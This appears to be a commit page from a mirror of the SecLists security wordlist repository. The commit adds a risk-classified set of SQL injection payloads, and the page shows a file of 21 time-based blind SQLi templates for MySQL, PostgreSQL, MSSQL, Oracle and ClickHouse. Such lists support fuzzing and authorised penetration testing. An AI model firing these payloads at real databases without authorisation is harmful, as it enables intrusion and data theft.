weyne/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2026-08-11 03:43:29 +00:00
Code Issues Packages Projects Releases Wiki Activity

feat(wordlist): Added risk-classified list of SQLi payloads

Browse Source 
Initial sorting created by the classifier script.

Related to #1320

Closes #1011

Co-authored-by: 0xBassia <med.bassia@gmail.com>

Co-authored-by: Miroslav Stampar <miroslav.stampar@gmail.com>

Co-authored-by: soka <romain.dereydellet@gmail.com>

Co-authored-by: Alexis Danizan <51817778+0x4144@users.noreply.github.com>
This commit is contained in:
ItsIgnacioPortal
2026-05-16 14:13:23 -03:00
parent 88b822eb13
commit 049dc40465
11 changed files with 241 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Fuzzing/Databases/SQLi/sqlmap-risk-classified/Low-Risk-Payloads/time_blind.txt
+21
View File
@@ -0,0 +1,21 @@
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
AND SLEEP([SLEEPTIME])
RLIKE SLEEP([SLEEPTIME])
RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
WAITFOR DELAY '0:0:[SLEEPTIME]'
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))
ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)